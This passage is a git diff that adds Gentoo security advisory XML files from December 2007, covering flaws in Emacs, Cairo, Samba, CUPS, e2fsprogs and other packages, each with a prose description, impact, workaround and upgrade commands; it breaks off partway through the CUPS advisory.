+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-03">
+  <title>GNU Emacs: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities were found in GNU Emacs possibly leading to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">emacs</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>197958</bug>
+  <bug>200297</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/emacs" auto="yes" arch="*">
+      <unaffected range="ge">22.1-r3</unaffected>
+      <unaffected range="rge">21.4-r14</unaffected>
+      <unaffected range="lt">19</unaffected>
+      <vulnerable range="lt">22.1-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Emacs is a highly extensible and customizable text editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Drake Wilson reported that the hack-local-variables() function in GNU
+    Emacs 22 does not properly match assignments of local variables in a
+    file against a list of unsafe or risky variables, allowing to override
+    them (CVE-2007-5795). Andreas Schwab (SUSE) discovered a stack-based
+    buffer overflow in the format function when handling values with high
+    precision (CVE-2007-6109).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could entice a user to open a specially crafted file
+    in GNU Emacs, possibly leading to the execution of arbitrary Emacs Lisp
+    code (via CVE-2007-5795) or arbitrary code (via CVE-2007-6109) with the
+    privileges of the user running GNU Emacs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The first vulnerability can be worked around by setting the
+    "enable-local-variables" option to "nil", disabling the processing of
+    local variable lists. GNU Emacs prior to version 22 is not affected by
+    this vulnerability. There is no known workaround for the second
+    vulnerability at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Emacs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/emacs-22.1-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5795">CVE-2007-5795</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6109">CVE-2007-6109</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 20 Nov 2007 22:12:50 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Dec 2007 01:01:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Dec 2007 13:59:32 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-04.xml b/xml/htdocs/security/en/glsa/glsa-200712-04.xml
new file mode 100644
index 00000000..33246e00
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-04">
+  <title>Cairo: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflows were discovered in Cairo, possibly leading to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cairo</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>200350</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/cairo" auto="yes" arch="*">
+      <unaffected range="ge">1.4.12</unaffected>
+      <vulnerable range="lt">1.4.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cairo is a 2D vector graphics library with cross-device output support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflows were reported, one of which Peter Valchev
+    (Google Security) found to be leading to a heap-based buffer overflow
+    in the cairo_image_surface_create_from_png() function that processes
+    PNG images.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view or process a specially
+    crafted PNG image file in an application linked against Cairo, possibly
+    leading to the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cairo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/cairo-1.4.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5503">CVE-2007-5503</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Dec 2007 23:43:52 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Dec 2007 01:36:20 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Dec 2007 01:36:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-05.xml b/xml/htdocs/security/en/glsa/glsa-200712-05.xml
new file mode 100644
index 00000000..7db39df6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-05">
+  <title>PEAR::MDB2: Information disclosure</title>
+  <synopsis>
+    A vulnerability when handling database input in PEAR::MDB2 allows remote
+    attackers to obtain sensitive information.
+  </synopsis>
+  <product type="ebuild">PEAR-MDB2</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>198446</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/PEAR-MDB2" auto="yes" arch="*">
+      <unaffected range="ge">2.5.0_alpha1</unaffected>
+      <vulnerable range="lt">2.5.0_alpha1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PEAR::MDB2 is a database abstraction layer for PHP aimed to provide a
+    common API for all supported relational database management systems. A
+    LOB ("large object") is a database field holding binary data.
+    </p>
+  </background>
+  <description>
+    <p>
+    priyadi discovered that the request to store a URL string as a LOB is
+    treated as a request to retrieve and store the contents of the URL.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If an application using PEAR::MDB2 allows input of LOB values via a web
+    form, remote attackers could use the application as an indirect proxy
+    or obtain sensitive information, including "file://" URLs local to the
+    web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround, manually filter input before storing it as a LOB in
+    PEAR::MDB2.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PEAR::MDB2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/PEAR-MDB2-2.5.0_alpha1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5934">CVE-2007-5934</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Dec 2007 12:32:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Dec 2007 01:58:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Dec 2007 01:59:26 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-06.xml b/xml/htdocs/security/en/glsa/glsa-200712-06.xml
new file mode 100644
index 00000000..14b9ec49
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-06">
+  <title>Firebird: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple stack-based buffer overflows were discovered in Firebird.
+  </synopsis>
+  <product type="ebuild">firebird</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>195569</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/firebird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3.12981.0-r2</unaffected>
+      <vulnerable range="lt">2.0.3.12981.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Firebird is a multi-platfrom, open source relational database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Adriano Lima and Ramon de Carvalho Valle reported that functions
+    isc_attach_database() and isc_create_database() do not perform proper
+    boundary checking when processing their input.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted requests to the Firebird
+    server on TCP port 3050, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running Firebird
+    (usually firebird).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Firebird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/firebird-2.0.3.12981.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4992">CVE-2007-4992</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5246">CVE-2007-5246</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 Nov 2007 11:24:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 Nov 2007 00:06:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Dec 2007 23:26:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-07.xml b/xml/htdocs/security/en/glsa/glsa-200712-07.xml
new file mode 100644
index 00000000..e54ef4b8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-07.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-07">
+  <title>Lookup: Insecure temporary file creation</title>
+  <synopsis>
+    Lookup uses temporary files in an insecure manner, allowing for a symlink
+    attack.
+  </synopsis>
+  <product type="ebuild">lookup</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>197306</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-emacs/lookup" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1</unaffected>
+      <vulnerable range="lt">1.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lookup is a search interface to books and dictionnaries for Emacs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tatsuya Kinoshita reported that the ndeb-binary function does not
+    handle temporay files correctly.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could use a symlink attack to overwrite files with the
+    privileges of the user running Lookup.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lookup users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emacs/lookup-1.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0237">CVE-2007-0237</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 19 Nov 2007 22:00:43 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 21 Nov 2007 00:09:14 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Dec 2007 23:10:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-08.xml b/xml/htdocs/security/en/glsa/glsa-200712-08.xml
new file mode 100644
index 00000000..439da382
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-08.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-08">
+  <title>AMD64 x86 emulation Qt library: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the AMD64 x86 emulation Qt library may lead to
+    the remote execution of arbitrary code in Qt applications.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-qtlibs</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>189536</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-qtlibs" auto="yes" arch="amd64">
+      <unaffected range="ge">20071114-r2</unaffected>
+      <vulnerable range="lt">20071114-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI framework, which is used e.g. by KDE. The
+    AMD64 x86 emulation Qt library packages Qt libraries for 32bit x86
+    emulation on AMD64.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Qt versions used by the AMD64 x86 emulation Qt libraries were
+    vulnerable to several flaws (GLSA 200708-16, GLSA 200710-28)
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could trigger one of the vulnerabilities by causing a Qt
+    application to parse specially crafted text or Unicode strings, which
+    may lead to the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation Qt library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-qtlibs-20071114-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200708-16.xml">GLSA 200708-16</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-28.xml">GLSA 200710-28</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Dec 2007 12:28:12 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 09 Dec 2007 19:55:14 +0000">
+    welp
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Dec 2007 20:04:39 +0000">
+    welp
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-09.xml b/xml/htdocs/security/en/glsa/glsa-200712-09.xml
new file mode 100644
index 00000000..50c67694
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-09">
+  <title>Ruby-GNOME2: Format string error</title>
+  <synopsis>
+    A format string error has been discovered in Ruby-GNOME2, possibly leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ruby-gtk2</product>
+  <announced>December 09, 2007</announced>
+  <revised>December 09, 2007: 01</revised>
+  <bug>200623</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-ruby/ruby-gtk2" auto="yes" arch="*">
+      <unaffected range="ge">0.16.0-r2</unaffected>
+      <vulnerable range="lt">0.16.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby-GNOME2 is a set of bindings for using GTK+ within the Ruby
+    programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Rohlf discovered that the "Gtk::MessageDialog.new()" method in
+    the file gtk/src/rbgtkmessagedialog.c does not properly sanitize the
+    "message" parameter before passing it to the gtk_message_dialog_new()
+    function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted string to an
+    application using Ruby-GNOME2, possibly leading to the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby-GNOME2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-ruby/ruby-gtk2-0.16.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6183">CVE-2007-6183</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Dec 2007 18:00:54 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Dec 2007 22:24:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Dec 2007 22:25:12 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-10.xml b/xml/htdocs/security/en/glsa/glsa-200712-10.xml
new file mode 100644
index 00000000..afb02377
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-10">
+  <title>Samba: Execution of arbitrary code</title>
+  <synopsis>
+    Samba contains a buffer overflow vulnerability potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>December 10, 2007</announced>
+  <revised>December 10, 2007: 01</revised>
+  <bug>200773</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.28</unaffected>
+      <vulnerable range="lt">3.0.28</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs for UNIX.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop (Secunia Research) discovered a boundary checking error in
+    the send_mailslot() function which could lead to a stack-based buffer
+    overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted "SAMLOGON" domain
+    logon packet, possibly leading to the execution of arbitrary code with
+    elevated privileges. Note that this vulnerability is exploitable only
+    when domain logon support is enabled in Samba, which is not the case in
+    Gentoo's default configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable domain logon in Samba by setting "<i>domain logons = no</i>" in
+    the "global" section of your smb.conf and restart Samba.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.28&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6015">CVE-2007-6015</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 10 Dec 2007 02:00:00 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Dec 2007 19:33:11 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-11.xml b/xml/htdocs/security/en/glsa/glsa-200712-11.xml
new file mode 100644
index 00000000..80f40753
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-11">
+  <title>Portage: Information disclosure</title>
+  <synopsis>
+    Portage may disclose sensitive information when updating configuration
+    files.
+  </synopsis>
+  <product type="ebuild">portage</product>
+  <announced>December 13, 2007</announced>
+  <revised>December 13, 2007: 01</revised>
+  <bug>193589</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/portage" auto="yes" arch="*">
+      <unaffected range="ge">2.1.3.11</unaffected>
+      <vulnerable range="lt">2.1.3.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Portage is the default Gentoo package management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mike Frysinger reported that the "etc-update" utility uses temporary
+    files with the standard umask, which results in the files being
+    world-readable when merging configuration files in a default setup.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could access sensitive information when configuration
+    files are being merged.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Portage users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/portage-2.1.3.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6249">CVE-2007-6249</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Dec 2007 21:27:57 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Dec 2007 21:28:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Dec 2007 22:39:19 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-12.xml b/xml/htdocs/security/en/glsa/glsa-200712-12.xml
new file mode 100644
index 00000000..7d0a761d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-12.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-12">
+  <title>IRC Services: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been reported in IRC Services.
+  </synopsis>
+  <product type="ebuild">ircservices</product>
+  <announced>December 13, 2007</announced>
+  <revised>December 13, 2007: 01</revised>
+  <bug>199897</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/ircservices" auto="yes" arch="*">
+      <unaffected range="ge">5.0.63</unaffected>
+      <vulnerable range="lt">5.0.63</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IRC Services is a system of services to be used with Internet Relay
+    Chat networks.
+    </p>
+  </background>
+  <description>
+    <p>
+    loverboy reported that the "default_encrypt()" function in file
+    encrypt.c does not properly handle overly long passwords.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could provide an overly long password to the
+    vulnerable server, resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IRC Services users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/ircservices-5.0.63&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6122">CVE-2007-6122</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Dec 2007 21:48:10 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Dec 2007 21:51:02 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Dec 2007 22:44:42 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-13.xml b/xml/htdocs/security/en/glsa/glsa-200712-13.xml
new file mode 100644
index 00000000..702aead1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-13.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-13">
+  <title>E2fsprogs: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple heap-based buffer overflows in E2fsprogs could result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">e2fsprogs</product>
+  <announced>December 18, 2007</announced>
+  <revised>December 18, 2007: 01</revised>
+  <bug>201546</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-fs/e2fsprogs" auto="yes" arch="*">
+      <unaffected range="ge">1.40.3</unaffected>
+      <vulnerable range="lt">1.40.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    E2fsprogs provides utilities for use with the ext2 and ext3 file
+    systems including the libext2fs library that allows user-level programs
+    to manipulate an ext2 or ext3 file system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rafal Wojtczuk (McAfee AVERT Research) discovered multiple integer
+    overflows in libext2fs, that are triggered when processing information
+    from within the file system, resulting in heap-based buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to process a specially-crafted ext2 or
+    ext3 file system image (with tools linking against libext2fs, e.g.
+    fsck, forensic tools or Xen's pygrub), possibly resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All E2fsprogs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-fs/e2fsprogs-1.40.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5497">CVE-2007-5497</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 12 Dec 2007 09:56:09 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 13 Dec 2007 21:11:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 13 Dec 2007 23:03:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-14.xml b/xml/htdocs/security/en/glsa/glsa-200712-14.xml
new file mode 100644
index 00000000..798daebe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-14.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-14">
+  <title>CUPS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in CUPS, allowing for the
+    remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>December 18, 2007</announced>
+  <revised>December 18, 2007: 01</revised>
+  <bug>199195</bug>
+  <bug>201042</bug>
+  <bug>201570</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="rge">1.2.12-r4</unaffected>
+      <unaffected range="ge">1.3.5</unaffected>
+      <vulnerable range="lt">1.3.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS provides a portable printing layer for UNIX-based operating
+    systems. The alternate pdftops filter is a CUPS filter used to convert
+    PDF files to the Postscript format via Poppler; the filter is installed
+    by default in Gentoo Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wei Wang (McAfee AVERT Research) discovered an integer underflow in the
+    asn1_get_string() function of the SNMP backend, leading to a
+    stack-based buffer overflow when handling SNMP responses
+    (CVE-2007-5849). Elias Pipping (Gentoo) discovered that the alternate
+    pdftops filter creates temporary files with predictable file names when
+    reading from standard input (CVE-2007-6358). Furthermore, the
+    resolution of a Denial of Service vulnerability covered in GLSA
+    200703-28 introduced another Denial of Service vulnerability within SSL
+    handling (CVE-2007-4045).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker on the local network could exploit the first
+    vulnerability to execute arbitrary code with elevated privileges by
+    sending specially crafted SNMP messages as a response to an SNMP
+    broadcast request. A local attacker could exploit the second
+    vulnerability to overwrite arbitrary files with the privileges of the
+    user running the CUPS spooler (usually lp) by using symlink attacks. A
+    remote attacker could cause a Denial of Service condition via the third
+    vulnerability when SSL is enabled in CUPS.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    To disable SNMP support in CUPS, you have have to manually delete the
